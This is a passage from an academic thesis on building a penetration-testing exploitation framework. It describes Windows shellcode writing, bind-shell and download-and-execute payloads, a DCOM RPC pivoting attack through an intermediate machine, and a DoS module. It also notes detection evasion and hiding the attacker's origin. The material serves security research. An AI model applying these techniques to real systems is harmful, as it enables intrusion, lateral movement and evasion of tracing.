done by LoadLibraryA() function of Kernel32.dll. Therefore, for writing remote

shellcodes we need to load ws2_32.dll in the process memory where all the functions

related to socket programming are defined.

5.2.5 The Null-Byte Problem

Shellcode is often injected in a program’s memory via string functions such as read(),

sprintf(), and strcpy(). Most string functions expect to be terminated by Null bytes. When

a shellcode contains a Null byte, it is interpreted as a string terminator, resulting in that

program accepting the shellcode in front of the Null byte and discarding the rest.

Fortunately, there are many tricks to prevent shellcode from containing Null bytes.

For example, if we want the shellcode to use a string as the argument for a system call,

that string must be Null-terminated. When writing a normal Assembly program use the

following string:

“Hello world !”,0x00

Using this string in Assembly code results in shellcode containing a Null byte. One

workaround for this is to have the shellcode terminate the string at runtime by placing a

Null byte at the end of it. The following instructions demonstrate this:

xor eax,eax

mov byte [ebx + 14],al

Therfore, XOR instruction comes very handy in avoiding the NULL characters.

5.3 Methodology of writing a Windows Shellcode

5.3.1 Programming Shellcode in assembly As already mentioned before, the shellcode is the low level machine language code which

is executed at run time on the target machine. We can not write it in high level language

because of the size constraints; therefore, we need to write shellcodes in assembly

language only. But it is always advisable to first write the shellcode in C language and

then convert line by line into assembly. This provides easier management and better


61

understanding of the assembly code. Any editor can be used to write these assembly

instructions.

In writing remote shellcode we often require pointers to various library functions as

already explained before. Therefore, we need to first find out the pointers or the addresses

of all these functions, and then during programming load these pointers into process

memory space sequentially. Once the pointers are loaded into process memory, we can

carry on by calling one library function after the other to accomplish the entire job. The

parameters required for the functions are pushed into stack before the call is made to the

function pointer.

5.3.2 Compile Assembly into binary Once the assembly code is ready, it can be compiled and converted to binary format

(.com or .exe). Any of the tools mentioned above for example, nasm or masm32_editor

can be used to convert assembly into binary.

5.3.2 Convert Binary file into Hexadecimal

The next step is to convert this binary format file into hexadecimal opcode by using

Disassembler. For this purpose masm32_editor or IDA can be used. Once disassembled

the hex file contains the hexadecimal opcodes of the entire assembly instructions used in

the shellcode. Then finally, this hex file needs to be edited for removing the unwanted

characters and then converted into a char string. This character string is nothing but the

payload of the exploit ready to mingle with the target machine.

5.4 Implementation of bindshell and download and execute shellcode

For the pupose of developing this VA tool, we have written our own shellcodes. The

shellcode is specific to Windows XP, SP-1 platform. Both the shellcodes are remote

shellcodes, i.e., uses standard TCP/IP socket connections.


62

5.4.1 Forward Bind shellcode

One of the most common shellcodes for remote vulnerabilities binds a shell to a high

port. This allows an attacker to create a server on the exploited target machine that

executes a shell/cmd.exe when connected to. By far the most primitive technique, this is

easy to implement in shellcode. Since, there is a forward connection from the host to the

target machine; therefore, it is called as forward bind shellcode. The description of the

shellcode is as mentioned in Figure 5.1.

Host machine Target machine

Exploit code

-connect to port 135 on target m/c-Inject the shellcode.-Close previous connection.-Connect on port 8721.-Do asynchronous i/o between Socket and standard i/o.-tear down connection

Connect on Port 135

Send shellcode

Connect on Port 8721

Command prompt extended to host m/cShell code

-Create a socket.-Bind at port 8721.-Listen for a connection.-Accept connection.-Create a child process.-Change FDT entries of input, output and error with the socket descriptor.-Execute cmd.exe

Figure 5.1: Forward bindshell

This code binds a socket to a high port (in this case, 8721) and executes cmd.exe when

the connection occurs. This technique is common, but has some problems. If the host

being exploited has a firewall with a default deny policy, the attacker will be unable to

connect to the shell.

5.4.2 Download and execute shellcode

This shellcode has been developed especially for staged attack and will help us during the

advancement stage of the vulnerability assessment cycle. In this technique shellcode


63

binds to a higher port (in this case, 7777) for receiving a .exe file form the host machine.

It then reads the .exe file from socket and write to a local test file. Once the entire file is

written to test file, the control is then transfered to the start of test file. Through this

process the file which was downloaded gets executed. This exe is only written over the

target machine’s RAM and not saved on the hard disk, thereby avoiding any detection or

tarce. The description of this shellcode is as mentioned in Figure 5.2.

Host machine Target machine

Exploit code

-connect to port 135 on target m/c-Inject the shellcode.-Close previous connection.-Send .exe file on port 7777.

Connect on Port 135

Send shellcode

Send .exe file on port 7777

Shell code

-Create a socket.-Bind at port 7777.-Receive .exe file.-Write entire .exe file into a local testfile.-Create a new child process.-Jump to start address of test file and execute it.

Figure 5.2: Download and execute shellcode

In the next section we will see how these two shellcodes can be synchronised and

executed to do advancement, i.e., hop from one target machine to another target machine

over the network.

5.5 Advancement

One of the steps involved in completely automating exploitation is post-exploitation

automation. This is where steps are taken to automate the tasks that are performed after

successfully exploiting a target host. Advancement is basically attempting to move on

from the compromised target to find other vulnerable systems. In a network test this will

consist of “hopping” from one system to another, potentially using the access obtained on

the original target to access other systems.


64

This is sometimes also called “staged attack”. In the first stage you compromise a

vulnerable machine and then in next stage you attempt to compromise another vulnerable

machine through this intermediate machine. This might involve writing some libraries or

program into the RAM of the intermediate machine. Then we can execute the program or

access the library functions to attack another machine. Figure 5.3 explains one such

working model of our advancement or staged attack code which we developed as part of

our exploitation framework.

Host machine Target machineIntermediate machine

Exploit code

-connect to port 135 on intermediate m/c.-Inject the shellcode.-Close previous connection.-Send .exe file on port 7777.-Connect on port 8721.-Do asynchronous i/o between Socket and standard i/o.-tear down connection

Connect on Port 135

Send shellcode

Command prompt of targetextended to intermediate m/c

Shell code

-Create a socket.-Bind at port 8721.-Listen for a connection.-Accept connection.-Create a child process.-Change FDT entries of input, output and error with the socket descriptor.-Execute cmd.exe

Connect on Port 135Send shellcode

Send .exe file on port 7777

Shell code-Create a socket.-Bind at port 7777.-Receive .exe file.-Write entire .exe file into a local test file.-Create another socket and bind at port 8721.-Create a new child process.-Change FDT entries of input, output and error with the socket descriptor.-Jump to start address of test file and execute it.-connect to port 135 on target m/c-Inject the shellcode.-Close previous connection.-Connect on port 8721


Command prompt of targetextended to host m/c


Figure 5.3: Advancement model

5.5.1 Implementation of our working model

Assumptions

The following assumptions have been made for our working model:

• The intermediate and target machine have Windows XP – SP1 operating system.

• Both these machines are vulnerable to DCOM_RPC buffer overflow attack on

port 135.

• On both the machines firewalls is off, and are accepting the network connections

from any machine.


65

These assumptions have been made for our model because of the following constrains.

• The shellcode is platform dependent as already explained before. Therefore, it can

only target one specific combination of processor, operating system and service

pack.

• Secondly, the code which we send to intermediate machine as a binary executable

file is an exploit code meant to exploit DCOM_RPC vulnerability.

• This methodology can be used to advance on any kind of platform, if you have an

exploit or a shellcode for that particular target.

• The above model is just an example or a proof of concept which explains the post

exploitation automation.

Methodology of executing the model

1. Firstly, the network is scanned for vulnerabilities, and two targets are selected

based on the assumptions. One machine can be referred as an intermediate

machine and another as a final target machine. The machine from where the

attack is launched can be called a Host machine.

2. The final objective of our model for advancement is to fetch command prompt of

target machine onto host machine. And there should be no direct network

connection between host machine and target machine.

3. To achieve our objective, we have written two programs in C, upload.c and

exploit.c.

4. The host machine executes upload.c. During run time it creates a socket and

connects to port 135 of intermediate machine. Then it injects a “download and

execute shellcode” into that machine where it creates a socket and binds to port

7777. At this port the machine then waits for a file to be received.

5. From host machine, we send a binary executable file of exploit.c to port 7777. At

intermediate machine, this file is received buffer by buffer and copied into a

temporary test.exe file which is created by the shellcode itself.


66

6. A new socket is then created at intermediate machine by shellcode which binds to

port 8721. The previous connection of port 7777 is closed.

7. A new child process is created and its handle is diverted to the socket descriptor

on port 8721.

8. This new child process then executes test.exe by transferring control to its start

instruction.

9. Test.exe during run time attacks the target machine by creating a socket and

connecting to port 135 of it. It also injects another shellcode which is a “forward

bindshell” into the target machine. Now, this shellcode creates a socket at port

8721, then creates a child process and passes its handle to the socket descriptor.

Thereafter, the child process executes “cmd.exe”. The output of this is now

available at port 8721.

10. The process running at intermediate machine destroys previous connection with

target and creates another socket for connecting to port 8721. Once, the

connection is established, the command prompt of target machine is now

available with the child process running at intermediate machine.

11. Since, the handle of this child process is diverted to another socket descriptor on

port 8721; therefore, the command prompt of target is now available at port 8721

of intermediate machine.

12. When host machine connects to port 8721 of intermediate machine, it finally gets

the command prompt of target machine.

13. Mission accomplished.

Figure 5.4 is a screenshot of the advancement model. In this we have three machines with

IP, 10.14.96.216 (Host), 10.14.96.246 (Intermediate) and 10.14.96.241 (Target). This

screenshot is of the host machine. As we can see in the figure, there are two command

windows; in upper window, we launch attack to the intermediate machine and in second

window we send an exe file to intermediate machine at port 7777 as explained above and

then connect to port 8721. After connecting to port 8721 we get the command prompt of

target machine which is shown by executing ipconfig command.


67

Figure 5.4: Screenshot of Advancement model

5.5.2 Advantages

This model has various advantages over direct exploitation:

• The identity of attacker ca be protected, since their will not be any direct network

connection between the host and the final target machine. All the network

connections would be via intermediate compromised machine.

• With increased number of hops, the degree of difficulty in finding the origin of

attack increases many folds.

• If the target machine does not accept a direct network connection from outside its

network then we can attack this machine via hopping mechanism as explained

above in our working model. For this we will have to first find a machine which is

in the same network as target machine, is vulnerable and accepting connections

from outside world. Then, we will attack this machine first and make it an


68

intermediate machine for attacking the final target machine. There is very high

probability of target machine accepting connections from any machine in its own

network. If this is the case then we are done because we can now attack this

machine from the intermediate machine.

5.6 summary In this cahpter, we explained the art of shellcoding in detail. In section 5.2, we discussed

the basic requirements of writing a shellcode. In section 5.3, we explained the

methedology of writing a Windows specific shellcode. Section 5.4 provides the

implementation of our bindshell and download and execute shellcode. In section 5.5, we

explained the last and the most important stage of VA, that is the advancement. Then we

explained our working model for carrying out the post-exploitation attack.


69

Chapter 6

Exploitation Framework Implementation

6.1 Tool Functionality

This chapter gives the detailed functioning and the step by step working of each and

every option available in the exploitation framework. To start with, we will first see the

snapshot of the main menu of vulnerability assessment tool. There are mainly three

options that are available to the user. A screenshot of the prototype of the main menu is

shown in Figure 6.1.

Figure 6.1: Main menu of VA tool


70

6.2 Exploit Framework

The exploitation framework is integrated with the VA tool and can be accessed by

clicking the exploit framework option of the main menu. Upon selecting this option, the

control will transfer to the Exploitation Framework. The following screenshot depicts the

front page of framework. Here we have two options; either to display all exploits or to

display only those exploits that matches the vulnerability criteria.

Figure 6.2: FrontPage of Exploitation module

As per the vulnerability cycle, the exploits are launched only after the vulnerability scan

over the network has been done. In that case, second option can be selected for

automatically launching the exploit on that machine.

But, the frequent scan over the same network is unnecessary because the software or

operating system is not changed or updated everyday. Therefore, we keep the scan results

in the database and can launch exploits without doing any scan over the machine. This

not only saves time but also saves lots of effort.


71

The next screenshot displays all available exploits in the combo box. We select one of the

suitable exploit and go on to select one of the option as mentioned:

• Launch Exploit manually by providing parameters or

• Launch exploit automatically by taking parameters from the vulnerability scan.

Figure 6.3: Selection of exploit

The first option is selected when there is no vulnerability check performed before

exploitation. In that case all the cookies where we store relevant information like OS

type, target IP address, etc will be empty. So, we will have to provide all the parameters

required for launching the exploit manually.

The second option is selected when the vulnerability check was performed before

exploitation. In that case, we automatically pick the parameters from the cookies.

The next screenshot depicts the page where we are required to input parameters for

manual launching of exploit.


72

Figure 6.4: Parameters entry page

After providing the parameters the exploit is fired onto the target machine and the system

is at our mercy. We now have the command prompt of target machine and can do

whatever we want. Figure 6.5 depicts the same.

Figure 6.5: Launching attack from Host machine


73

Figure 6.6 is a screenshot of the target machine where the exploit was launched. Once we

tear down the connection an exception is raised by the RPC services to the kernel and the

kernel restarts the computer for the RPC services to come up again.

Figure 6.6: System shutdown warning at Target machine

The next figure is the screenshot of IGMP_V3 DoS attack.

Figure 6.7: DoS attack


74

6.3 Discussions

The Penetration Testing Tool is an indigenous effort to develop an automated tool

incorporating all phases of a penetration testing cycle. Although there are certain open

source tools available which perform one or more functions of penetration testing but an

automated tool with a user friendly interface is hard to find. There is a lot to be desired if

one compares this tool with certain commercial applications, but this framework is an

extensible framework which can pave the way to develop into a robust tool. To highlight

the strengths and the weaknesses of the tool, it has been compared to certain open source

and commercial tools. These comparisons are presented in the form of results achieved

by us during our project work.

Tools

Functionalities

Nmap Nessus Metasploit VA Tool

Port scanning Y Y N Y

Ping scan Y N N Y

OS Detection Y N N Y

Service Scan Y N N Y

Vulnerability

Assessment

N Y N Y

Exploitation N N Y Y

Customised

Checks

N N Y (Limited)

Y

Access Rights N N N Y

Web Based

Interface

N N Y

(only ver 3.0)

Y

Table 6.1: Comparison of tools


75

6.4 Summary

In this chapter, we have explained the Exploitation framework implementation with the

help of various screenshots. We gave the detailed functioning and the step by step

working of each and every option available in the exploitation framework.


76

Chapter 7

Conclusion Developing an integrated and automated vulnerability assessment tool for an enterprise

LAN is very essential especially for Defence, financial organisations and

governmental bodies. The few automated tools available in the network security arena

are mainly commercial products. Apart from cost being the major factor against their

unabated use, they are also prone to be laced with some backdoors which may

compromise the organisations interests in more than one ways. The open source tools are

not fully automated and they require a lot of effort on the part of security personnel to

accomplish the entire task they need to carry out. Therefore, there was a need felt to

develop an open source, web-based, user-friendly tool, which can integrate and automate

the entire vulnerability assessment cycle.

The vulnerability assessment tool is an indigenous effort to develop an automated tool

incorporating all phases of a penetration testing cycle. Exploitation framework being an

important module has therefore been automated incorporating exploitation and

advancement phases of pen test cycle.

To accomplish our objective we made the following contributions:

1. Developed a GUI based Framework. Successfully integrated the framework with

MySQL as backend database

2. Created the Knowledge base for mapping exploits to OS types, Vulnerability IDs

and patches available information.

3. Developed a DCOM_RPC exploit in ruby to successfully penetrate Windows XP

SP1 machine.

4. Developed a denial of service (DoS) attack for vulnerability in IGMP_V3 service.

It successfully makes the services of windows XP (any SP) machine unavailable

to its users.


77

5. Developed our own payloads to perform advancement over the network. Both the

payloads; forward bindshell and download and execute shellcode can be used

together to carry out advancement as explained in chapter 5.

6. Automated the process of exploitation and successfully integrated with the VA

tool.

There is lot to be desired from our tool, but this framework is an extensible framework

which can pave the way to develop into a robust tool. A continuous effort is needed to

update the exploit database, adding new exploits, adding patches and accomplish the

future work.

7.1 Future work

The Exploitation framework at present carries out the exploitation of the target machine

using a single exploit DCOM_RPC (as a proof of concept) and is able to launch a

successful denial of service (DoS) onto the target machines using IGMP_V3 attack. In

addition it performs advancement over the network with the help of our indigenous

shellcodes.

The future scope of the Framework as envisaged by us is as follows:

• Creating a library for providing a user interface at target machine for post

exploitation automation.

• Writing more Buffer overflow exploits for Windows an Linux operating System

o Particularly for vulnerabilities in Web Services, installed applications and

processes running on default ports.

• Writing more Denial of Service attacks

o Particularly for overloading the resources.

• Incorporation of modules from certain other open source tools like password

crackers and Brute forcers.

• Updating the exploit database and adding recent exploit codes form the publicly

available resources on the web.


78

References

[1] Automated Security Checking and Patching Using TestTalk by Chang Liu Debra J.

Richardson. Information and Computer Science, University of California, Irvine 2000

IEEE.

[2] Development of Security Scanner with High Portability and Usability by Michitaka

Yoshimoto Bhed Bahadur Bista Toyoo Takata Faculty of Software and Information

Science, Iwate Prefectural University Proceedings of the 19th International Conference

on Advanced Information Networking and Applications (AINA’05) 2005 IEEE.

[3] Recon - A Tool for Incident Detection, Tracking and Response by Juanita Koilpillai

John B. Beavers Paul Swinton.

[4] Self Port Scanning Tool: Providing a More Secure Computing Environment Through

the Use of Proactive Port Scanning by Joshua E. Kocher and Dr. David P. Gilliam,

Proceedings of the 14th IEEE International Workshops on Enabling Technologies:

Infrastructure for Collaborative Enterprise (WETICE’05) 2005 IEEE.

[5] Network Vulnerability analysis by B Skaggs, B.Blackburn, G.Manes and S.shenoi ,

Center for information Security Dept of Computer Science University of Tulsa Oklahoma

IEEE 2000.

[6] Ruby-developers-guide by Robert Feldt and Lile Johnson, Syngres publications.

[7] Ruby on Rails project, http://wiki.rubyonrails.org/rails/pages.

[8] Ruby on the Web, http://www.rubycentral.com/links/index.html.

[9] Buffer overflow attacks, a book written by Jamec C Foster, Syngres publications.


79

[10] Buffer overflows demystified at http://www.enderunix.org/documents/eng/bof-

eng.txt.

[11] Sockets, Shellcode, Porting, and Coding, a book written by James C Foster, Syngres

publication.

[12] Understanding Windows Shellcode by M Miller at

www.nologin.org/Downloads/Papers/win32-shellcode.pdf.

[14] Art of Writing exploit, www.syngress.com/bookcatalog/327_SSPC/sample.pdf

[15] IGMP_V3 DoS TCP/IP attack at

www.securiteam.com/windowsntfocus/5BP0E1FHPM.html.

[16] Exploits on the Web, http://www.milw0rm.com/.

[17] List of known Exploits, http://www.SecurityDot.net/.

[18] Papers on wring exploit, http://research.eeye.com/.

[19] Ruby on the Web, http://www.rubycentral.com/links/index.html.

[20] Nessus Vulnerability Scanner, http://www.Nessus.org.

[21] Metasploit framework, http://www.metasploit.com.

[22] Public Exploits, http://www.insecure.org.

[23] Ruby developers guide.

[24] CVE Reference on Web, http//:www.cve.mitre.org


80

Glossary

CVE Common Vulnerabilities Exposures

CERT Computer Emergency Response Team

IDS Intrusion detection System

Pen Test Penetration Testing

IPS Intrusion Prevention System

VA Vulnerability Assessment

Org Organisation

Exp Exploits

Ctrl Control

Info Information

Auth Authority

MVC Model-View-Controller

EUI End user Interface

development of exploitation framework for vulnerability ...pabitra/facad/06cs6037t.pdf · i wish to...

Documents